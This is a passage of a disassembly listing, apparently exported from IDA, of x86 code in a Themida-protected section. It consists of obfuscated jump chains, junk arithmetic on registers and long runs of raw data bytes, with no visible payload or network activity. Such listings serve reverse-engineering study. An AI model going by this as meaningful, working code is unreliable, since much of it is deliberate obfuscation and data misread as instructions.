		dd 8B49EB80h, 6DE9240Ch, 0F7000121h, 2BC581DDh,	0E973B56Dh
		dd 0FFFFDAC8h, 0FFDA8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5534D1:				; CODE XREF: Themida_:0055EDE4j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	56F3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_561C7D
; ---------------------------------------------------------------------------


loc_5534EE:				; CODE XREF: Themida_:0055EFEEj
		push	3BB0h
		jmp	loc_561FA5
; ---------------------------------------------------------------------------
		dd 8CE9C301h, 1000013h,	1C8758C3h, 24248B24h, 645768h
		dd 0C943E900h
		db 2 dup(0)
word_553512	dw 5266h		; DATA XREF: Themida_:00550D48o
		dd 4C8ACA88h, 54880224h, 8B660224h, 0C4832414h,	2EC8302h
		dd 241C8966h, 5152CB88h, 3367E9h, 7EFC100h, 726F781h, 0F7810C8Ah
		dd 0E418F4Eh, 1FE9FA01h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55354B:				; CODE XREF: Themida_:00562374j
		add	ebp, 630A0841h
		sub	ebp, 7E932880h
		sub	ebp, 5121402Ah
		add	ebp, eax
		add	ebp, 5121402Ah
		jmp	loc_55339C
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 4EC815Bh, 89000000h,	46E92404h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55357B:				; CODE XREF: Themida_:0055F23Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5599DA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 8B240C87h, 0F662424h,	9C2404BBh, 0FFD9B6E9h
		dd 24348BFFh, 8104C483h, 9C320AC2h, 0C91EE945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5535BA:				; CODE XREF: Themida_:005633F4j
		mov	edi, 4B7B29F1h
		jmp	loc_55C59E
; ---------------------------------------------------------------------------


loc_5535C4:				; CODE XREF: Themida_:005541A3j
		shr	ecx, 0Bh
		push	5FBDh
		jmp	loc_56386D
; ---------------------------------------------------------------------------


loc_5535D1:				; CODE XREF: Themida_:00564503j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 26E530E4h
		jmp	loc_55B359
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 9607E902h, 0E6800000h, 83C6FE19h, 58E904ECh,	1000078h
		dd 243C8BF8h, 11F11E9h,	8074B600h, 0E950D8CEh, 5214h, 80E95366h
		dd 89000086h, 65B5240Ch, 5159EE28h, 0EE0073B5h,	41D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55362D:				; CODE XREF: Themida_:0055FEB2j
		pop	ecx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55E5E0
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 4EC81h, 79E90000h, 1000011h, 0EE815BDEh, 2661000Ch
		dd 81243C8Bh, 4C4h, 3D5AE900h, 48F0000h, 34E95C24h, 810000D6h
		dd 8926E4F5h, 0DC0FE923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553682:				; CODE XREF: Themida_:005604AEj
		add	esp, 4
		jmp	loc_55EA1A
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 81360459h, 4ECh, 24148900h, 0C280B4B2h, 0D453E910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5536A2:				; CODE XREF: Themida_:00561AABj
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		pop	ebp
		push	edi
		jmp	loc_5637F9
; ---------------------------------------------------------------------------


loc_5536AD:				; CODE XREF: Themida_:0055D4E5j
		add	ebp, 4
		push	655Eh
		mov	[esp], eax
		push	2DC8h
		jmp	loc_55CB25
; ---------------------------------------------------------------------------


loc_5536C5:				; CODE XREF: Themida_:00555DFAj
		sub	edi, eax
		pop	eax
		sub	edi, 64E166E9h
		sub	edi, esi
		add	edi, 64E166E9h
		add	edi, 4816752Ch
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_558777
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 8B240C33h, 0AF0F2424h, 0E99C51C8h, 0D5CFh
		dd 0C381D301h, 4B766182h, 6FFAEB81h, 555A1BF7h,	4BDh, 5DEB0100h
		dd 0C556E9h
		db 0
; ---------------------------------------------------------------------------


loc_553721:				; CODE XREF: Themida_:005597FBj
		mov	esi, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_55BC20
; ---------------------------------------------------------------------------


loc_553731:				; CODE XREF: Themida_:005656B0j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		push	76DBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_560456
; ---------------------------------------------------------------------------
		db 83h
		dd 0F74B04C4h, 77F381DBh, 0E9BFF5FFh, 298h, 5EAC166h, 3E2C166h
		dd 81664266h, 0E925EDF2h, 75B7h, 43E9EF01h, 580000B7h
		dd 1370E9h, 4BA00h, 0C3810000h,	79B46B36h, 0EB81D301h
		dd 79B46B36h, 8324148Bh, 525704C4h, 0EE0EECBAh,	4EC8368h
		dd 0E9243489h, 0FFFFF5E2h, 5157465Bh, 899124B9h, 0E9CF898Ah
		dd 78BCh, 3E95266h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5537CB:				; CODE XREF: Themida_:00555F70j
		mov	[esp], ebx
		push	edx
		mov	dh, 0ADh
		sub	dh, 0F6h
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		shr	bh, 2
		not	bh
		jmp	loc_553CEE
; ---------------------------------------------------------------------------


loc_5537E9:				; CODE XREF: Themida_:0055EDEFj
		push	eax
		mov	eax, 6A1B74CFh
		jmp	loc_554149
; ---------------------------------------------------------------------------
		dd 0E96ACC80h, 0FFFFE736h, 5AD0315Fh, 48B5950h,	0E7895724h
		dd 4C781h, 0C7830000h, 0F262E904h, 0E5C00000h, 2E5C007h
		dd 0C078ED80h, 0EDC006EDh, 51536608h, 0FFDD0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55382D:				; CODE XREF: Themida_:00551A3Cj
		xor	ecx, 0C42469CCh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 45C8470Eh
		sub	dword ptr [esp+8], 7B5E5904h
		sub	[esp+8], esi
		jmp	loc_560036
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0BA0Fh, 66D6F766h, 0B81DE957h, 1ABD0000h, 81334109h
		dd 0DC5B2EF5h, 2AB9E909h, 0BDBB0000h, 29034576h, 2434FFDAh
		dd 4C4815Bh, 0FF000000h, 4EC8332h, 0BB241C89h, 0B707A4Ch
		dd 4245C31h, 3E1AE95Bh,	89500000h, 0D3D0E9F8h, 81580000h
		dd 677459F3h, 0BE3816Ah, 8134F16Bh, 0E06906EBh,	5BDA0100h
		dd 2BBE953h, 14330000h,	0EC815C24h, 4, 52240C89h, 0F5882CB6h
		dd 0EDABE95Ah, 4B8FFFFh, 1000000h, 1AE958C6h, 870000FAh
		dd 0F7E92404h, 66000046h, 0A3B86650h, 834CE92Dh, 835F0000h
		dd 39E904ECh
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5538FF:				; CODE XREF: Themida_:005553CBj
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 61C2E58h
		add	edx, 0F9E3D1ACh
		add	eax, edx
		jmp	loc_55AA6D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD643h
; ---------------------------------------------------------------------------


loc_55391C:				; CODE XREF: Themida_:00562778j
		add	eax, 40607F3Eh
		neg	eax
		sub	eax, 67F3C2F6h
		mov	ebp, eax
		pop	eax
		inc	ebp
		push	edi
		mov	edi, 7E69722Fh
		xor	ebp, edi
		pop	edi
		shr	ebp, 1
		shl	ebp, 4
		shl	ebp, 6
		xor	ebp, 0A85491D8h
		add	ebx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_551F21
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 8904EC83h, 0AABA2414h, 0C12E9733h, 0CA8107E2h
		dd 26E46DEh, 8107EAC1h,	0F25DB3C2h, 0BFC38161h,	810C4D2Ah
		dd 7B0049EBh, 0ABF5756h, 4F31E62Dh, 41E2E947h, 0E5800000h
		dd 45B1E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55399E:				; CODE XREF: Themida_:0055A9EDj
		push	edi
		jmp	loc_555A5C
; ---------------------------------------------------------------------------
		dd 0B151D3F6h, 0C45E9A4h, 8F660000h, 0D5A9E900h, 4768FFFFh
		dd 5B7D6F29h, 8101EB83h, 477C57E3h, 8A5EE937h, 4FBB0000h
		dd 0F76FD414h, 29EB81DBh, 8140C546h, 882342C3h,	47EB8144h
		dd 29490072h, 241C8BD8h, 8B04C483h, 0C483242Ch,	40504h
		dd 0FF500000h, 0E9042474h, 0B664h, 0B1E9DF01h, 890000DDh
		dd 0B8B1240Ch, 83D7C980h, 896602ECh, 26E92414h,	8B000096h
		dd 0D7E92434h, 0F70000D9h, 0F7A4E9D3h, 0F5810000h, 31E8730Ah
		dd 685DE929h, 5A63h, 11991E9h, 242C8900h, 791A0A68h, 0DB39E91Fh
		dd 525A0000h, 0C281E289h, 4, 4C281h, 14870000h,	6CE95C24h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A63:				; CODE XREF: Themida_:005631FEj
		add	ebx, 0B99C780h
		jmp	loc_562010
; ---------------------------------------------------------------------------


loc_553A6E:				; CODE XREF: Themida_:0055D243j
		sub	edx, 0FA4584Fh
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55F169
; ---------------------------------------------------------------------------


loc_553A83:				; CODE XREF: Themida_:0055CB0Dj
		mov	ebp, esp
		jmp	loc_554565
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B66C830h, 0E950240Ch, 1149Bh, 0D15C681h,	0C68127E7h
		dd 0A0835B7h, 183DC681h, 0C6012090h, 0A170E9h
		db 0
; ---------------------------------------------------------------------------


loc_553AB5:				; CODE XREF: Themida_:0055AA3Dj
		mov	ebp, edi
		pop	edi
		shr	ebp, 6
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4DFE4CE1h
		shl	ebx, 8
		xor	ebx, 0B761C2B7h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55ECE2
; ---------------------------------------------------------------------------
		db 31h
		dd 0DD8959CBh, 4804E9h,	0FAB6800h, 0CEE90000h
		db 1Eh,	1, 0
; ---------------------------------------------------------------------------


loc_553AF7:				; CODE XREF: Themida_:005622E3j
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_564AFF
; ---------------------------------------------------------------------------


loc_553B0B:				; CODE XREF: Themida_:0056280Ej
		shr	ebp, 1
		inc	ebp
		sub	ebp, 0D0E3FFAEh
		jmp	loc_55FD79
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FF24248Bh, 0B4E92434h
		db 11h,	2 dup(0)
byte_553B27	db 66h			; DATA XREF: Themida_:00550DF4o
		dd 6824048Bh, 554Fh, 0E9243C89h, 0FFFFE7FCh, 2B850h, 0A4E90000h
		dd 5E000071h, 6484E9h, 4C48100h, 83000000h, 148702EAh
		dd 0A3E95C24h
		db 0B0h, 2 dup(0)
byte_553B5B	db 66h			; DATA XREF: Themida_:00550D84o
		dd 0E924048Bh, 0A8D6h, 0E904C283h, 11E38h
; ---------------------------------------------------------------------------


loc_553B6C:				; CODE XREF: Themida_:0056307Ej
		add	ebx, ecx
		add	ebx, 152A606Ah
		jmp	loc_562CD6
; ---------------------------------------------------------------------------
		db 68h,	2, 0
		dd 5FE90000h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B83:				; CODE XREF: Themida_:00563DD0j
		xor	eax, 3662B551h
		add	ebx, eax
		jmp	loc_55788D
; ---------------------------------------------------------------------------
byte_553B8F	db 0FFh			; DATA XREF: Themida_:00550D3Co
		dd 669D1C77h, 241CD259h, 0D3C1E99Ch, 0C701FFFFh, 3C875A58h
		dd 24248B24h, 0F525E9h,	13EF8100h, 0E9766A12h, 0B26Ch
		dd 0E95EF229h, 6584h, 2C8BEE29h, 4C48324h, 0A1DBE9h, 4B95100h
		dd 1000000h, 240C8BC8h,	1423E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553BDE:				; CODE XREF: Themida_:00563618j
		pop	edx
		jmp	loc_55A215
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 469F6CA2h, 0E959CF21h, 10C5h
; ---------------------------------------------------------------------------


loc_553BF4:				; CODE XREF: Themida_:00554C04j
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5625A3
; ---------------------------------------------------------------------------


loc_553C0D:				; CODE XREF: Themida_:00556779j
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_55D8F3
; ---------------------------------------------------------------------------
		db 68h
		dd 6819h, 83242489h, 5D042404h,	1135DE9h
		db 0
; ---------------------------------------------------------------------------


loc_553C31:				; CODE XREF: Themida_:0055D800j
		mov	[esp], edx
		jmp	loc_55A268
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 0
		dd 0F6E9F808h, 8100011Ch, 0FF3D94EDh, 56CD015Fh, 0FF3D94BEh
		dd 64A2E95Fh, 0BD550000h, 3B100219h, 0FFD5F1E9h, 4C681FFh
		dd 81000000h, 4C6h, 24348700h, 4C6815Ch, 83000000h, 348702EEh
		dd 6484E924h, 3C870000h, 2C895C24h, 81E58924h, 4C5h, 9253E900h
		dd 0F6810000h, 5E141095h, 9D7E9h
		db 0
byte_553CA1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550DA4o
		dd 0DD7AE9h, 242C8B00h,	8304C483h, 0C8904ECh, 2474FF24h
		dd 48F5904h, 24248B24h,	0E99CC884h, 0FFFFD297h,	2414895Ch
		dd 4DB25250h, 0E95AD088h, 0D8C1h, 0D31EE951h, 0E9560000h
		dd 0FA59h
; ---------------------------------------------------------------------------


loc_553CE4:				; CODE XREF: Themida_:00562EC9j
		push	150Ah
		jmp	loc_55AF50
; ---------------------------------------------------------------------------


loc_553CEE:				; CODE XREF: Themida_:005537E4j
		inc	bh
		dec	bh
		add	bh, 1
		sub	bh, 0BDh
		push	edx
		mov	dh, 85h
		shr	dh, 2
		not	dh
		neg	dh
		jmp	loc_55A114
; ---------------------------------------------------------------------------
		dd offset dword_564B68
		align 4
aITsd		db '┴<$TИ╓р',0
		dd 0E6895600h, 4C681h, 0C6830000h, 24348704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5644DF
; ---------------------------------------------------------------------------
		db 1
aQZSx		db 'О]┤<$Иxс',0
		align 2
		dw 1B9h
		dd 89000000h, 470959C8h, 2434FF1Ch, 5724048Bh, 0C781E789h
		dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 103A2E9h
		dd 5BDF3100h, 0E95FF801h, 0F56Fh
; ---------------------------------------------------------------------------


loc_553D78:				; CODE XREF: Themida_:00563F26j
		or	ebx, eax
		pop	eax
		xchg	edi, ebx
		not	edi
		push	ebx
		push	edi
		pop	ebx
		jmp	loc_5549B9
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4C1A76A8h, 422BF181h, 0CA890B8Dh, 405BBF59h,	0D7015674h
		dd 0E924148Bh, 99CDh
; ---------------------------------------------------------------------------


loc_553DA4:				; CODE XREF: Themida_:00564AB4j
		push	ebp
		push	711Eh
		mov	[esp], esi
		mov	esi, 1CF562B6h
		push	ecx
		push	esi
		jmp	loc_559FB3
; ---------------------------------------------------------------------------
		db 43h,	81h, 0C3h
		dd 0A0D8253Fh, 7DBABD55h, 0B4E95014h, 10000FBh,	5B85E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553DD2:				; CODE XREF: Themida_:00555423j
		mov	dh, 44h
		jmp	loc_55B10F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 5B000000h,	303468h, 243C8900h, 0E904EC83h
		dd 0AFAEh
; ---------------------------------------------------------------------------


loc_553DF4:				; CODE XREF: Themida_:0055720Dj
		add	esp, 4
		jmp	loc_5589AA
; ---------------------------------------------------------------------------


loc_553DFC:				; CODE XREF: Themida_:0055333Cj
		xor	ebx, 76414C15h
		add	ecx, ebx
		pop	ebx
		jmp	loc_5548E9
; ---------------------------------------------------------------------------
		dw 0F22Ch
		dd 83241C8Bh, 0B75304C4h, 80C7FEC7h, 0EF80C6EFh, 80D7F601h
		dd 0F8002CF7h, 56241C8Bh, 0C681E689h, 4, 1571BA52h, 0E2815988h
		dd 639A77C2h, 8105EAC1h, 0B905A2C2h, 24F28144h,	0C1607C1Fh
		dd 0EA8105E2h, 0D72B2CFCh, 19E9D601h, 0F7000012h, 1F781DFh
		dd 81335F2Bh, 0C33BFFE7h, 99C78101h, 1FEBEDFh, 0EB815FFBh
		dd 4, 5C241C87h, 52241C89h, 4BAh, 5AD38900h, 8904EC83h
		dd 0FF5F241Ch, 815B2434h, 4C4h,	5FC28100h, 0E9020137h
		dd 7FD2h
dword_553EA4	dd 24048B66h, 131BE9h, 4BF00h, 75E90000h, 6800003Fh, 0
					; DATA XREF: Themida_:00550DF8o
		dd 5F243C29h, 112E3E9h,	4C48100h, 68000000h, 5880h, 0BF243C89h
		dd 4, 51E1ED81h, 23E92A1Bh, 0BB000016h,	483B0910h, 0F6F4C381h
		dd 0DF29B7C4h, 243C875Bh, 2424895Ch, 7DB9E9h, 28EB2D00h
		dd 732D3EB3h, 830AA826h, 2C8904ECh, 9112BD24h, 0E9556EA2h
		dd 2B11h
; ---------------------------------------------------------------------------


loc_553F18:				; CODE XREF: Themida_:00556E53j
		pop	eax
		push	eax
		push	78866A91h
		jmp	loc_564DC1
; ---------------------------------------------------------------------------
		dd 0D3F65966h, 0E3C0DBF6h, 53C38005h, 24E9D800h, 81FFFFF3h
		dd 0D60ACDC3h, 0DDD5E91Ch, 81470000h, 0D6604FE7h, 6FEF8121h
		dd 0E9D3A2F2h, 7DE1h, 83242489h, 5E042404h, 4C681h, 0C6830000h
		dd 0D3E95604h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F6B:				; CODE XREF: Themida_:005544EBj
		mov	eax, 7E5C5141h
		xor	eax, 7E5C515Dh
		push	1B4Fh
		mov	[esp], esi
		mov	esi, 51D02C2Eh
		jmp	loc_555D40
; ---------------------------------------------------------------------------


loc_553F87:				; CODE XREF: Themida_:005642FDj
		pop	ecx
		push	edi
		mov	edi, 1A8A7245h
		neg	edi
		xor	edi, 3A1466CAh
		jmp	loc_55495F
; ---------------------------------------------------------------------------
		dd offset dword_533058+210h
		align 10h
		dd 0FFF28FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553FA5:				; CODE XREF: Themida_:00561DC9j
		add	ebx, 556E707Bh
		inc	ebx
		shr	ebx, 7
		push	esi
		jmp	loc_5637BE
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 18h
		dd 0C1000030h, 4DE906EBh, 1000083h, 343359CEh, 24343124h
		dd 8B243433h, 0D3662424h, 0E99C243Ch, 0FFFFCF83h, 40DCE959h
		dd 0E3890000h, 4C381h, 6DE90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553FEF:				; CODE XREF: Themida_:0055DDD0j
		mov	ecx, 6B086531h
		add	edi, ecx
		pop	ecx
		std
		push	0Ah
		jmp	loc_55B047
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 31D5E905h, 0CFE0000h, 4CE99C24h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554013:				; CODE XREF: Themida_:0055E487j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5541BD
; ---------------------------------------------------------------------------
		dd 4C08359h, 8B240487h,	0F9012424h, 30CE981h, 7568466Dh
		dd 8900007Fh, 21E9241Ch
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55403B:				; CODE XREF: Themida_:00562ABCj
		push	ebx
		mov	ebx, 4779678Bh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55AC7F
; ---------------------------------------------------------------------------


loc_554057:				; CODE XREF: Themida_:005604C7j
		xor	eax, edx
		neg	edx
		xchg	eax, edx
		add	eax, 1B0FFB35h
		add	ebx, 73101526h
		sub	ebx, 4FF2576Eh
		add	ebx, 593E22DDh
		add	ebx, eax
		jmp	loc_5542A0
; ---------------------------------------------------------------------------
		dw 8145h
		dd 0F9FDFAEDh, 3FBB539Dh, 0E9595A6Eh, 0FFFFD752h, 0D2E9E981h
		dd 0C8017A80h, 8BC18959h, 0C4832404h, 5A54E904h, 895C0000h
		dd 6857242Ch, 2C970628h, 81243C8Bh, 4C4h, 35C78100h, 0E902E94Ah
		dd 0D08h
dword_5540C0	dd 32822DADh, 0D829304Ah, 4EC81h, 0F2E90000h ; DATA XREF: Themida_:00550EB8o
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5540D3:				; CODE XREF: Themida_:005635C8j
		neg	ebx
		sub	ebx, 0FFEDFFFAh
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		pop	ebx
		sub	edx, 28400A8Fh
		add	edx, 76742B9Ah
		add	edx, 7D711B28h
		sub	edx, 0B1425D6h
		add	edx, esi
		add	edx, 0B1425D6h
		sub	edx, 7D711B28h
		jmp	loc_55A0ED
; ---------------------------------------------------------------------------


loc_55410D:				; CODE XREF: Themida_:00551C23j
		push	ecx
		mov	ecx, 75B21043h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_554525
; ---------------------------------------------------------------------------
		db 68h
		dd 309h, 59241489h, 2E9C15Ah, 0FFEDF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55412D:				; CODE XREF: Themida_:005629F2j
		mov	[esp], edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	2E04h
		jmp	loc_560486
; ---------------------------------------------------------------------------


loc_554149:				; CODE XREF: Themida_:005537EFj
		mov	ebx, 8E23BFF5h
		sub	ebx, eax
		pop	eax
		sub	ebp, ebx
		jmp	loc_559CE9
; ---------------------------------------------------------------------------
		dd 0F4E9CE29h, 0BF000071h, 23D287Fh, 0BA96E9h, 0C9B85000h
		dd 29D3FDD8h, 0CA0158C1h, 4C28359h, 5C241487h, 4C681h
		dd 0A2E90000h, 66000016h, 81E9505Ah, 0F700006Eh, 0F2AEE9D1h
		dd 0D0F70000h, 0EC54E9h
		db 0
; ---------------------------------------------------------------------------


loc_55419D:				; CODE XREF: Themida_:0055A2C6j
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5535C4
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0D12Bh, 839C4FB8h, 59C82981h, 0C8C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5541BD:				; CODE XREF: Themida_:00554017j
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5542DF
; ---------------------------------------------------------------------------


loc_5541CB:				; CODE XREF: Themida_:005594E6j
		push	eax
		jmp	loc_562879
; ---------------------------------------------------------------------------
aASpf		db '─еэИP■',0
		db 0
; ---------------------------------------------------------------------------


loc_5541D9:				; CODE XREF: Themida_:00564BEDj
		push	edx
		mov	edx, 695157Dh
		xor	ebp, edx
		pop	edx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	2990h
		mov	[esp], eax
		jmp	loc_55D200
; ---------------------------------------------------------------------------
		dd 0E95D5455h, 0FFFFD3FDh, 152DFBEh, 7EEC155h, 62C3CE81h
		dd 0B3E91C8Ah
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55420F:				; CODE XREF: Themida_:00564F1Fj
		sub	eax, 29A20FA3h
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_558F55
; ---------------------------------------------------------------------------


loc_554231:				; CODE XREF: Themida_:00559A39j
		push	ebp
		mov	ebp, 20CB6E61h
		and	esi, ebp
		pop	ebp
		jmp	loc_55176F
; ---------------------------------------------------------------------------
		db 31h
		dd 240559C8h, 15136F1h,	0EB8158C3h, 7CC73A41h, 0AF4C381h
		dd 0C381632Fh, 59A3339h, 23E9C301h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554263:				; CODE XREF: Themida_:00562757j
		or	edx, 10316D7Fh
		inc	edx
		not	edx
		sub	edx, 0E8087FFBh
		add	ebp, edx
		jmp	loc_560B2A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C281h, 0EC830000h, 24348904h, 674EACBEh, 0A8F6814Ch
		dd 814C674Eh, 8306D9C2h, 0E9F20117h, 958Ch
; ---------------------------------------------------------------------------


loc_5542A0:				; CODE XREF: Themida_:00554075j
		sub	ebx, 593E22DDh
		add	ebx, 4FF2576Eh
		sub	ebx, 73101526h
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55C609
; ---------------------------------------------------------------------------


loc_5542C4:				; CODE XREF: Themida_:0055EF7Bj
		add	edi, 4
		add	edi, 4
		jmp	loc_559BF3
; ---------------------------------------------------------------------------


loc_5542D5:				; CODE XREF: Themida_:0055D7DCj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_563514
; ---------------------------------------------------------------------------


loc_5542DF:				; CODE XREF: Themida_:005541C6j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
aVtss		db 'VTИХ<',0
		dw 5C00h
		dd 53243C89h, 0DF89CB89h, 0E958575Bh, 0FFFFD01Dh
; ---------------------------------------------------------------------------


loc_5542FC:				; CODE XREF: Themida_:00561148j
		add	eax, 4
		jmp	loc_557CD4
; ---------------------------------------------------------------------------
		dw 0B859h
		dd 0D255E821h, 295DE829h, 24048BC1h, 0E904C483h, 0FFFFDB1Bh
; ---------------------------------------------------------------------------


loc_55431C:				; CODE XREF: Themida_:0055AE0Ej
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 0B985557Fh
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, 5C887A2Dh
		sub	ebp, 15C37D4Bh
		not	ebp
		jmp	loc_55CB01
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 0E95FFE89h, 10A93h, 5A5AC181h, 0F1815AB6h, 3E20321Ah
		dd 0D9F7D9F7h, 2277E981h, 0F1815F32h, 4E84003Eh, 4EB85052h
		dd 3549C20Eh, 767A0769h, 0C108E8C1h, 0D43504E8h, 532178F4h
		dd 0DA89C389h, 0FF06E95Bh, 815B0000h, 4C1h, 240C3300h
		dd 33240C31h, 248B240Ch, 0E7895724h, 4C781h, 43E90000h
		dd 3100001Eh, 0F7CE31F1h, 52CE87D1h, 4782E9h
		db 0
; ---------------------------------------------------------------------------


loc_5543BD:				; CODE XREF: Themida_:0055A29Ej
		mov	eax, [esp]
		jmp	loc_557CF4
; ---------------------------------------------------------------------------


loc_5543C5:				; CODE XREF: Themida_:00551CA3j
		mov	edx, esp
		push	ebp
		mov	ebp, 2255277Eh
		sub	ebp, 734D711Bh
		and	ebp, 19693222h
		xor	ebp, 7FDD1189h
		dec	ebp
		xor	ebp, 76DC23AEh
		push	ebx
		mov	ebx, 5A5B79A2h
		add	edx, ebx
		pop	ebx
		add	edx, 1FB85F29h
		add	edx, ebp
		sub	edx, 1FB85F29h
		jmp	loc_565035
; ---------------------------------------------------------------------------


loc_554402:				; CODE XREF: Themida_:00554E8Dj
		inc	ch
		sub	ch, 0EDh
		jmp	loc_563174
; ---------------------------------------------------------------------------
		dd 0F4B65266h, 88F48850h, 24048BE7h, 4C481h, 8B660000h
		dd 0C4812414h, 2, 8091E780h, 0D7E92AEFh
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554433:				; CODE XREF: Themida_:0055BD0Dj
		neg	esi
		not	esi
		jmp	loc_563999
; ---------------------------------------------------------------------------
dword_55443C	dd 0FF2434FFh, 0E9582434h, 21EBh, 8B241487h, 0A9E92424h
					; DATA XREF: Themida_:00550E9Co
		dd 5E00001Eh, 16CBBD5Bh, 0C5312AA5h, 0E924048Bh, 8Ch, 0B151C0FEh
		dd 88526631h, 637CE9C6h, 0E3280000h, 8EE95258h,	0BAFFFFF1h
		dd 4, 685468h, 242C8900h, 610D68BDh, 5DE9017Ch,	159BBA52h
		dd 0E2817CB4h, 5A75585Bh, 0EA81D2F7h, 6FD0C7B6h, 15AD101h
		dd 0D5BE56D1h, 811BA96Bh, 51BC59C6h, 0E9F1291Ch, 33Bh
		dd 0E9241C8Bh, 0B207h, 0C1E3E947h, 2BF0000h, 0E95B4C72h
		dd 0FFFFEC2Dh, 2AE9F301h
		db 8Ch,	2 dup(0)
